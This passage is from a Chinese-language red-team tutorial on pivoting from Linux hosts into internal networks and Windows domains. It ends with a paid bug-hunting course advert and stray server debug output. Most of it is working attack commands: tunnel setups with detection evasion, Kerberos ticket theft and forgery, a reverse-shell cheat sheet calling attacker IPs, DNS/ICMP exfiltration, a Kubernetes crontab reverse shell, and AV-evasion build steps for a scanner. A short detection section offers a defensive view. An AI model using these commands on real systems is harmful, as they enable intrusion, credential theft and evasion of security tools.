./agent -connect <Agent1_IP>:4444

frp 三层级联(中文社区最常用,cn-sec 那篇实战文给到配置文件级):

# 第一层:VPS 跑 frps
# 入口机 frpc.ini:
#   [common] server_addr=VPS server_port=7000 token=xxx
#   [plugin_socks] type=tcp remote_port=7777 plugin=socks5
./frpc -c frpc.ini
# 第二层:入口机再起 frps --bind_addr <入口机IP> --bind_port 9999
# 目标机 frpc.ini: [common] server_addr=<入口机IP> ...
#   [http_proxy] type=tcp remote_port=8888 plugin=socks5
# 代理链依次:socks5://VPS:7777 → 更内层

Stowaway/Venom 也是多级老手,use 0socks 8888→ 节点上listen→ 传下一层 agent →use 1socks 7777,逐层深入。

对抗检测:隧道不是免死金牌

这里要泼盆冷水:隧道本身加密 ≠ 不可检测。Elastic 对 chisel 的检测逻辑是"命令行参数特征 + 1 分钟内网络事件序列"[10]——argv=="client"+R*/:*/socks*+ parent 是 shell + 随后对外连接。通用隧道检测更狠:命令行正则匹配ip:port:ip:port。所以:

最隐蔽的方案是 Nginx 反代 + 商用证书 + 路径混淆——流量特征只剩标准 Nginx TLS,是公认最像正常流量的。其次是改二进制指纹(strings chisel | grep "chisel-v3"能发现版本串)、走 443、TLS 自签证书。JA3 指纹伪装(--tls-ja3)和 Host 头伪装(--header "Host: windowsupdate.microsoft.com")是进阶。中文社区的 cn-sec 隧道全解[12]把这个对抗面讲得最系统。

英文的 SpecterOps SSH 指南[9]和 Elastic 检测规则[10]给原理与检测;中文的 cn-sec 系列[12][13]给多级实战与对抗。这一节是跨语言互补最典型的地方。

7. 第六站:跨进 Windows——ccache/keytab 与域

先搞懂为什么"域内 Linux"是特殊物种

内网里有 Windows AD 域时,Linux 主机的角色很特殊:它既是域成员(能拿域票据),又是异类(蓝队对 Linux 侧的 Kerberos 监控远弱于 Windows 侧)。这是中文社区几乎空白的区域——找到的中文资料全是翻译搬运。而英文侧 Mandiant 那篇《Kerberos Tickets on Linux Red Teams》是绕不开的权威[24]。这一站,把它讲透。

域内 Linux 主机的 Kerberos 凭据有两种存储:ccache(票据缓存)和 keytab(长期密钥)。后端的存放由/etc/krb5.confdefault_ccache_name决定——FILE:(默认/tmp/krb5cc_%{uid})、DIR:(systemd-logind)、KEYRING:(内核 keyring)、KCM:(SSSD KCM)、MEMORY:(进程内)。

找票:五种来路

env | grep KRB5CCNAME
ls /tmp/ | grep krb5cc
klist -l; klist -A
sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc*          # 默认 FILE 位置
# 内核 keyring 里的票(tickey 工具)
/tmp/tickey -i                                        # → /tmp/__krb_<uid>.ccache
# SSSD KCM 离线解密(root 才能读 mkey)
python3 SSSDKCMExtractor.py --database secrets.ldb --key .secrets.mkey

keytab:直接换 NTLM hash

/etc/krb5.keytab里 key type 23(RC4)就是该机器账户的 NT hash——可以直接拿去打 Windows:

klist -k /etc/krb5.keytab
python3 keytabextract.py /etc/krb5.keytab     # key type 23 → NT hash
netexec <ip> -u 'COMPUTER$' -H <NTLM> -d 'DOMAIN'

复用:pass-the-cache / pass-the-ticket

核心就一行——**export KRB5CCNAME**,然后所有支持 Kerberos 的工具自动吃这张票:

export KRB5CCNAME=/tmp/krb5cc_1569901115
# Windows 的 kirbi → Linux 的 ccache 转换
impacket-ticketConverter SRV01.kirbi SRV01.ccache

# Linux → Windows 命令执行(全部 -k -no-pass 走 Kerberos)
impacket-psexec  domain/user@target -k -no-pass
impacket-wmiexec  domain/user@target -k -no-pass
impacket-secretsdump -k -no-pass target
evil-winrm -i target -r DOMAIN -K Administrator.ccache
nxc smb <targets> --use-kcache -x whoami
nxc smb <targets> -k --sam / --lsa / --ntds

从 hash 直达 TGT:

impacket-getTGT -dc-ip <dc> -hashes :<NTLM> domain/Administrator   # → Administrator.ccache
export KRB5CCNAME=Administrator.ccache

伪造票据(金票/银票)在 Linux 侧同样可做:

ticketer.py -nthash <krbtgt_NTLM> -domain-sid S-1-5-21-... -domain DOMAIN h4x0r
export KRB5CCNAME=h4x0r.ccache
psexec.py DOMAIN/h4x0r@target -k -no-pass -dc-ip <dc> -target-ip <ip>

委托与跨林

委托攻击(getST,S4U2self + S4U2proxy):

getST.py -spn cifs/target -impersonate administrator 'domain/service:password' -dc-ip <dc>
getST.py -spn cifs/target -impersonate administrator -additional-ticket admin.ccache 'domain/svc:pass'

跨域/跨林——impacket 的 getST 对跨域 referral 处理有 bug,用Cross-Realm-TGS补[25]:

getST.py -k -no-pass -spn krbtgt/TARGET.REALM -dc-ip <src-dc> SOURCE.REALM/User
python3 cross_realm_tgs.py inter-realm-tgt.ccache cifs/DC01.target.realm <tdc-ip> TARGET.REALM
export KRB5CCNAME=dc01_....ccache
secretsdump.py -k -no-pass -target-ip <tdc> 'SOURCE.REALM/User@DC01.target.realm' -use-vss

SSH GSSAPI:域账号登录 Linux

域内 Linux 若开了AllowGSSAPIAuthentication,可以用 Kerberos 票直接 SSH 登 Linux 主机,不留密码痕迹:

export KRB5CCNAME=username.ccache
ssh -vv -K user@domain@linux.domain.local

更高阶的是 UPN 冒充(gssapi-abuse,"A broken marriage"研究[26])——MIT Kerberos 不验 PAC,用 bloodyAD 把自己的 UPN 改成administrator,再getTGT.py -principalType NT_ENTERPRISE请求企业主体票,GSSAPI 登录时身份就冒充成了域管。隐蔽性比传统 PTT 高得多。

为什么用票不用 NTLM?三条硬理由:委托必须 Kerberos;票不随改密失效(密码改了票还在有效期);金票带跨域 SID 直接横跨信任。

这站的检测侧:MITRE 新出 DET0024 就是专盯 Linux 侧票据的——auditd 监控/tmp/krb5cc_*的 open + 异常 AS-REQ(从非域加入机发出的 TGT 请求、票里出现 RC4 加密类型)。做红队,知道蓝队怎么盯你,才知道怎么绕过。

8. 第七站:出网与反向——被掐脖子时怎么活

先搞懂为什么"出网探测"决定一切

前面所有隧道都假设你能连出网。但实战里你常遇到的恰恰是出网受限:目标机器只能访问特定的几个端口,甚至只能走 DNS。这时候方案全变。核心原则一句话:攻击者在 VPS 上先起监听,目标机主动连回——哪条协议能连,就用哪条打通道

出网探测五件套

协议
探测命令(目标机侧)
通则 → 通道选型
ICMPping -c 4 baidu.com
ICMP 隧道 (ptunnel-ng/icmptunnel)
TCPbash -c 'echo x > /dev/tcp/<vps>/<port>'
反弹 shell / frp / chisel
UDPnc -u <vps> <port>
DNS(53)/QUIC 通道
HTTPcurl -sI http://<vps>/
reGeorg / HTTP 隧道
HTTPScurl -k https://<vps>/
SSL 隧道 / cloudflared
DNSdig @你的DNS www.baidu.com
DNS 隧道 (iodine/dnscat2)

关键细节:DNS 探测要用 ceye.io / dnslog.cn 这种被动 DNS 平台收日志——工具传不进去时它就是唯一的 OOB 通道。TCP 要测多个端口(80/443/53/123/22),防火墙常按端口白名单放行。ICMP 通了不代表 TCP 通——很多企业只放 ICMP 做监控,这正是 ICMP 隧道存在的意义。

反弹 shell 全谱系

要弹 shell,先知道有哪些姿势。每种环境挑最顺手的:

# Bash TCP(最通用,任何 bash 都在)
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
(sh)0>/dev/tcp/10.10.10.10/9091          # 最简写(Dikline 技巧,短且绕检测)

# 过空格/特殊字符过滤
echo <base64命令> | base64 -d | bash 2>/dev/null

# Python(pty.spawn 拿完整 TTY,Linux 首选)
python -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4242));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn("/bin/sh")'

# Netcat 无 -e 时用 FIFO
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

# Socat(唯一能直接给全 TTY + stty 的)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

# OpenSSL —— 加密反弹,流量不可读,过纯 443 白名单
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
# 服务端:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
#        openssl s_server -quiet -key key.pem -cert cert.pem -port 4242

# Perl / Ruby / PHP / AWK / Telnet 见素材库,此处不展开

选择逻辑:python 有就优先(全 TTY)→ bash /dev/tcp(万能兜底)→ openssl(要加密)→ 什么都没有?telnet 双监听或 awk。纯文本 shell 过 DPI 必被拦,需要过边界时加密反弹是刚需。

DNS / ICMP 隧道:原理与选型

DNS 隧道把数据塞进 DNS 查询的子域名标签和响应记录里,走 UDP/53。几乎所有防火墙都放行 DNS 递归解析——这是它通行性无敌的根源。三类工具定位差异(选型关键):

工具
定位
root?
特点
iodine
IP over DNS
虚拟网卡 tun,跑完整 IP 流量(DNS 上的 VPN),带宽最好
dnscat2
C2 通道
不要
原生加密,专门跑命令/传文件,可端口转发
dns2tcp
TCP over DNS
只做单条 TCP 中继(ssh/ssl),最轻量

iodine 实战:

# 服务端(VPS,开放 UDP/53)
./iodined -f -c -P secret 192.168.99.1 t1.mydomain.com
# 客户端(目标机)
./iodine -f -r -P secret 223.5.5.5 t1.mydomain.com   # -r 强制走指定 DNS 递归
# 成功后出现 dns0 网卡,IP 192.168.99.2,可 ssh root@192.168.99.2

dnscat2 是天然 C2 形态(免 root、加密),会话内还能端口转发——listen 127.0.0.1:8080 10.0.0.20:80把内网服务绑到攻击机。

ICMP 隧道的合法性依据是 RFC 792——echo 的 data 字段长度任意,把 IP 包塞进去即可。触发条件:TCP/UDP 全被拦但 ping 能通

# ptunnel-ng(TCP over ICMP)
sudo ptunnel-ng -p <server_ip> -l 2222 -r 10.0.3.1 -R 22   # 经隧道 SSH
ssh -p 2222 -l user 127.0.0.1
# icmptunnel(IP over ICMP,等价 tun)
[sudo] ./icmptunnel -s 10.0.1.1          # 服务端
[sudo] ./icmptunnel -c <server>          # 客户端

检测对抗:正常 ping payload 固定/为空、大小恒定(32/56/64 字节),隧道流量 payload 非零且大小杂乱。对抗手段——把 echo 间隔模拟成人工 ping、payload 随机填充、限制每包大小贴近正常值。

出网受限决策树

出网探测(五件套)
 ├─ TCP 任意端口通 → bash /dev/tcp 直接反弹 → frp/chisel reverse socks → 内网漫游
 ├─ 仅 80/443 通 → reGeorg(有 web 环境)/ cloudflared·ngrok·chisel(能装二进制)/ openssl 加密反弹
 ├─ 仅 DNS 通 → iodine(完整 IP 通道)/ dnscat2(C2 跑命令)/ dns2tcp(单条 TCP 中继)
 ├─ 仅 ICMP 通 → ptunnel-ng(中继 TCP)/ icmptunnel(完整 IP)/ xxd+ping 逐字节 exfil
 └─ 全不通(工具传不进去)
      ├─ bash /dev/tcp 手写端口探针
      ├─ base64 分块 echo 落地 → base64 -d 重建
      ├─ python -c 一次性脚本(socket 手搓反弹,不落地)
      └─ 文件 exfil:base64 + DNS 查询逐 32 字节发给你控制的 NS 日志

这站有几个"过受限环境"的冷门招值得记:frp v0.53+ 的 SSH Tunnel Gateway——目标机只需自带 OpenSSH 客户端就能开反向隧道,零二进制落地,比传 frpc 更隐蔽[27];QUIC 出网(egress 只审 TCP/443 时,curl --http3-only把流量挪到 UDP/443);QEMU 虚拟机隐藏 C2(内存里跑 Tiny Core Linux 当 SSH 跳板,EDR 只看到 loopback,进程在另一个 OS 空间)。

这站英文的 PayloadsAllTheThings 反向 shell 页和 HackTricks 隧道页是权威底稿;中文腾讯蓝军的"五类协议出网映射"和博客园的出网探测详解是实战补充。

9. 第八站:把链串起来——六条真实攻击链

前面的每一站都是零件。这一站把它们装成完整的机器。下面六条链是 2025-2026 真实攻防里反复出现的打法,每条都能当演练剧本。

链一:F5 边缘设备 → Confluence → Kerberos relay(Microsoft 真实多阶段入侵)

这是微软 2026/05 公开的真实攻击链[28],完整复刻了"边界→内网→域"的教科书路径:

被入侵的 F5 BIG-IP 边缘设备(EOL,CVE-2025-53521)
  → 用特权账号 SSH 登内部 Linux
  → gowitness + nmap 侦察(走 socks5 代理,截图内网服务)
  → 对 Windows 尝试 NTLM 横向(enum4linux/netexec/kerbrute 初败)
  → 发现未打补丁的内部 Confluence
  → RCE 时被 RTP 拦截文件落地,改在 Linux 上起 Python ftplib FTP 服务中转 payload
  → 从 server.xml / confluence.cfg.xml 窃取 Jiraservices 账号
  → Kerberos relay + PetitPotam + CVE-2025-33073 + dnstool 加 DNS 记录
  → 尝试打域控(testssl 找降级路径)

这条链的价值:把前六站全串上了——边界打点、SSH 横向、代理侦察、凭据窃取、Kerberos relay、域内推进。它还有个细节:RTP 拦文件落地,攻击者立刻改用 FTP 中转,说明攻防双方都在实时博弈。

链二:Redis → 容器逃逸 → AD 接管(红日靶场七)

中文靶场里最完整的一条 Linux 主导链[29]:

Redis 2.8 未授权 → 写 SSH 公钥拿 root 跳板(双网卡)
→ fscan 出 MS17-010 / Laravel / 通达OA / Redis 可写路径
→ SSH socks 代理 + 永恒之蓝拿 PC1 → 识别域控
→ Laravel CVE-2021-3129 写 webshell 进 Docker 容器
→ SUID PATH 提权 → 特权容器 mount /dev/sda1 逃逸
→ 写宿主机 SSH 公钥 → 域内 fscan 扫出 DC/PC2
→ MS17-010 拿 PC2 → mimikatz → impacket-psexec 登域控

关键细节:Redis 写公钥前加\n换行绕 RDB 头部垃圾数据;老 OpenSSH 6.6.1 要-o PubkeyAcceptedAlgorithms=+ssh-rsa。这是"fscan 兜底 + 定向利用"的组合教科书。

链三:双网卡主机跨网段横向(省护复盘)

出网受限场景的典型:

NDay WebShell → fscan 扫 B 段大量 Redis 弱口令 → 站点被关
→ Neo-reGeorg HTTP 隧道(404 页面伪装)维持
→ IDOR role=1 注册管理员 → 图片免杀上传哥斯拉 webshell → SYSTEM
→ frp 多层代理 → 找双网卡主机(sa.txt 口令喷洒 SSH 登录)
→ 三层 frp 链跨 10.9 段

核心看点:出网受限时 reGeorg 伪装 404 隧道维持权限、role=1IDOR 直接注册管理员、双网卡主机是跨段横向的关键跳板。

链四:Jenkins → 域控(奇安信)

Jenkins Script Console 未授权(默认 system 权限)
→ 出网受限走 IIS asp webshell → reGeorg 隧道 + Proxifier → RDP
→ mimikatz 抓密码 → 字典+抓到的密码扫 B 段 RDP 爆破 8 台
→ 找域管运行进程(sqlserverManage)→ mimikatz 内存抓域管明文 → 域控

核心看点:Jenkins Script Console 默认 system 是经典打点;找域管进程 → 内存抓明文是 Linux 主导链里打 Windows 域的巧劲。

链五:云上容器横向(阿里云/Sysdig)

Struts2 CVE-2020-17530 → 反弹 shell 落 pod
→ 探测 169.254.169.254 拿节点 IAM 临时凭证
→ 本地导入 AWS CLI → 发现 dev-AssumeRole + ReadOnlyAccess
→ AssumeRole 冒充 dev-EC2Full → EC2 完全控制

核心看点:云元数据的 AccessKey 链。注意阿里云的前提——ECS 必须绑了 RAM 角色,裸 ECS 的security-credentials/是空的。拿到临时 AK 后用GetCallerIdentity确认身份,再找sts:AssumeRole提权路径。

链六:K8s 污点横向

API Server 未授权(10.96.0.1:443 假用户名密码)
→ describe nodes | grep Taints
→ 下发带 tolerations + hostPath 挂 / 的 pod 到 master
→ 写 crontab 反弹 → 再下发 nodeName 指定 pod 挂载 /mnt
→ 控制所有节点
kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true \
  --username=a --password=a describe nodes | grep Taints
# x.yaml: tolerations(node-role.kubernetes.io/master NoSchedule) + hostPath path:/
kubectl create -f x.yaml
kubectl exec control-master-x231 -- bash -c \
"echo -e '* * * * * root bash -i >& /dev/tcp/192.168.86.218/6677 0>&1\n' >> /master/etc/crontab"

K8s 的横向面:kubelet 10250 未授权(/run/<ns>/<pod>/<container>直接命令执行)、etcd 2379 未授权(拿 SA token 接管集群)、API Server 8080 老版本未授权。CDK 是这套的工具化答案[30]。

10. 兵棋推演:你动了,蓝队怎么知道

前九站你都在当攻击者。这一站换到蓝队视角——你做的每一步,对应着什么检测信号。做红队,知道蓝队怎么盯你,才知道怎么绕;做蓝队,这张表就是你从零建检测的起点。

扫描与爆破的检测

  • HIDS 行为聚合:Splunk 的 "Suspicious Linux Discovery Commands" 用短时间大量不同发现命令检测侦察,而不是单条命令。
  • SSH 失败风暴:短时间多次认证失败是蓝队最常挂的规则,爆破基本必撞。
  • fscan 特征:截断 UA + 短时高并发 TCP 全连接 + 28 种服务认证风暴。Elastic 甚至有针对 chisel 的 EQL sequence 规则(cmdline 参数 + 1 分钟网络事件)[10]。

工具落地的检测(fscan 免杀实证)

fscan 的 Go 静态二进制,原版在 360/火绒/Defender/卡巴斯基全杀。但免杀有个反直觉的结论:

阶段
360
火绒
Defender
卡巴
原版
字符串清除
garble 基础混淆
UPX 加壳
garble-literals
静态过/动态杀
静态过/动态杀
DLL loader
DLL 被删

UPX 加壳对 Go 二进制适得其反——触发启发式全杀,跟"加壳=免杀"的常识相反。而卡巴的杀点(DLL 内 POC 行为特征)和 360/Defender 的杀点(字符串)完全不同,说明免杀要分层:先清字符串,再 garble 混淆,最后还要过行为检测。

能过主流杀软的构建命令(pscan 项目实战验证):

# 改 go.mod module 名 + 批量替换源码里 fscan 特征串
module scanner/core
Get-ChildItem -Recurse -Filter "*.go" | ForEach-Object {
  (Get-Content $_.FullName) -replace 'github.com/shadow1ng/fscan','scanner/core' | Set-Content $_.FullName
}
# garble 编译(-literals 混淆字符串 + -tiny 缩小)
garble -tiny -literals -seed=random build -ldflags="-s -w -buildid=" -trimpath -o fscan.exe .

凭据与隧道的检测

  • SSH 密钥authorized_keys变更监控(FIM/auditd)、ssh-agent转发检测。Hive Security 给了全套 auditd 规则 + Sigma + Wazuh rule ID[7]。
  • 隧道:进程名 + 隧道参数(-R/-L/-D/-J)、命令行正则匹配ip:port:ip:port、新 TUN 网卡/路由、主机突然变路由器(内网间流量激增)。
  • DNS 隧道:单标签超长十六进制/base32、同域高频 TXT 查询、label 超 63 字节、固定 XOR key + hex 编码(YARA 可抓)。
  • ICMP 隧道:payload 非零且大小杂乱、频率异常——防御方"只放行固定大小 ICMP"即可掐断。
  • 票据滥用:MITRE DET0024 盯/tmp/krb5cc_*访问 + 异常 AS-REQ[31]。

反制的原则性结论

这一站落到一句话:攻击者能藏的不是流量,是行为的合理性。所有检测规则追的都不是"工具"本身,而是"人不像人的行为"——扫描像风暴、爆破像风暴、隧道参数一眼假。所以攻击侧的对应物永远是:压低节奏、伪装合理性、工具二开去特征、优先用系统自带能力(living off the land)。fscan 的 12 字用法(分段用、定向用、低流量起步)和它在这个维度上的弊端,本质是同一件事。

02

0x2 培训课程介绍

26

SRC漏洞挖掘培训课程

1.课程价格目前是575(后面也会随着人数越多,涨价)🌟师傅们还可以上车补票,冲冲冲!

2.报名成功送知识星球一个,拉内部小圈子交流群+SRC直播通知群!✨

3.一周2节课程,直播+录播形式,课程内容大家可以看课表,目前是第一期,一次报名永久无限听课!❤️

4.目前是第一期课程,后面比如说开了二、三期,都是不用在花钱的!

5.上课结束后,会把视频录播+课件笔记一起打包发直播群!

6.哔哩哔哩SRC课程公开课,链接🔗直达:

https://space.bilibili.com/642258933

SRC课程详情🔎:学了一堆理论,还是挖不到漏洞?你缺的是实战!

内部小圈子知识星球详情🔎:50 元封顶!渗透攻防 + SRC 漏洞星球限时开放!
欢迎关注公众号:神农Sec,报名咨询添加VX:routing_love
开课快五个月时间,课程目前已经累计加入了950+个学员了,课程培训招生任火热持续中,师傅们对于我们课程感兴趣的,想要学习技术,找工作的可以咨询我报名

课程培训记录📝,每次上车在1-3小时之间,上课包括课程内部群大家交流氛围很好
课程上课笔记课件📒都会打包给师傅们,笔记都非常详细,很多几k价格的培训机构哪怕是课件笔记都没有的,我这里都是下课第一时间把录播+笔记打包发给大家!

平常也都会给学员进行一些项目发布,包括后面的工作、护网内推等,经常上麦交流,大家互相学习,简历优化等。
SRC漏洞挖掘课程培训已经两个星期了,期间也是创建了“回本小群”,希望学员回本越来越多,创建这个群主要是鼓励学员学习进步,以及不定时发小项目!

最后也是希望大家都可以赚钱,找到好工作🎉

培训时间不长,感谢🙏师傅们的喜报,很开心看到师傅们给我分享自己的成果,希望师傅们越来越强!

平常也会分享项目,下面是一些学员项目成果,群里报课的学员都是不抽成的,主要是帮助学员进行回本让大家都可以进步!

上课结束后,会把视频录播+课件笔记一起打包发直播群

「神农安全」知识星球目前已经累计2400+网络安全爱好者的加入!

后面也是小圈子做大起来了,师傅们也都喜欢看我文章,想着给大家教下src漏洞挖掘思路,所以自己花了很长时间做了✨课件和课表,都是纯自己手搓的,大家也可以看下课表的内容。

03

0x3 课程特色

课程主打真实一线SRC漏洞挖掘师傅是如何学习和挖掘SRC漏洞的,让你真正了解SRC漏洞挖掘,助力在岗人员和大学生的能力提升,掌握新的技能树,为下一次跳槽涨薪做好准备。本课程内容覆盖企业SRC、众测项目挖掘、护网HVV红蓝攻防技巧、CVE、CNVD、EDUSRC等平台通杀案例技巧挖掘方法。

本课程适合人群(光看不挖啥也不会)

1、有计算机经验,想从0转行入行的大学生或自学者2、想从CTF比赛/Web或SRC进阶到项目实战的选手3、想参与项目/找工作/提高收入的转型者4、想通过挖SRC赏金做副业的师傅们5、挖SRC漏洞遇到瓶颈的师傅们6、想学习AI安全自动化渗透测试漏洞挖掘的师傅
课程价格:575 元
报课成功的师傅们直接免费送内部小圈:一个知识星球+内部小圈子交流群
1、课程价格真心实惠,绝不割韭菜2、四五百的课程价格让你体会大几千的培训课程内容3、带着大家从0到1,本人上课坚持手搓课件(实战案例+知识体系)4、拒绝使用PPT演讲模式(无实操,很枯燥)
直播培训教学方式
课程一周1-2节课,课程特色涵盖直播多人上麦活跃回答,直播过程中有问题随时解决或私信我。拉群:一个知识星球内部小圈子交流群+课程培训直播通知群。有项目/工作/护网第一时间内推报课的师傅,一对一简历优化,助力在岗人员和大学生的能力提升。
一次报名每期均可永久学习,并且赠送内部「神农安全」知识星球,一对一永久解答、无保留教学!
欢迎关注公众号:神农Sec,报名咨询添加VX:routing_love
课程均为线上交付,报名成功后不支持退款
内部小圈子(知识星球+内部小圈子交流群+知识库)
对内部小圈子感兴趣的师傅们也可以看下下面的这个跳转链接,里面有对小圈子的详细介绍,报名课程成功的师傅们直接免费送一个(直接点击下面直接可以跳转)。
强烈推荐一个永久的SRC挖掘、渗透攻防内部知识库

讲师介绍

id:一个想当文人的黑客

欢迎关注公众号:神农Sec,报名咨询添加VX:routing_love

04

0x4 第一期挖洞培训课表内容

内部圈子介绍(报课赠送)

圈子专注于更新src/红蓝攻防相关:

1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例2、知识星球专属微信“小圈子交流群”3、微信小群一起挖洞4、内部团队专属EDUSRC证书站漏洞报告5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)6、分享src挖掘技巧tips7、不定期有众测、渗透测试项目(一起挣钱)8、不定期有工作招聘内推(工作/护网内推)9、送全国职业技能大赛环境+WP解析(比赛拿奖)10、十个专栏会持续更新~提前续费有优惠,好用不贵很实惠11、每日内部资料分享,内部圈子资料1000+12、联系圈主获取:内部漏洞知识库+圈子使用手册+内部圈子交流群13、VX:routing_love,技术交流+疑问解决

内部圈子专栏介绍

知识星球内部共享资料截屏详情如下

(只要没有特殊情况,每天都保持更新)

05

0x5 优秀学员报喜
下面是最近两个月培训期间,很多优秀学员进行报喜,看到师傅们有收获,也是感到很开心的!拉回本小群,就是为了促进大家学习,在群里发学员成果,也是为了让大家学习优秀的师傅们。
加油,你我皆是黑马!

神农安全公开交流群

有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-08-21 13:38:38 HTTP/2.0 GET : https://f.mffb.com.cn/a/510338.html
  2. 运行时间 : 0.455293s [ 吞吐率:2.20req/s ] 内存消耗:5,039.29kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=660846a519c68815db492d355e1da628
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
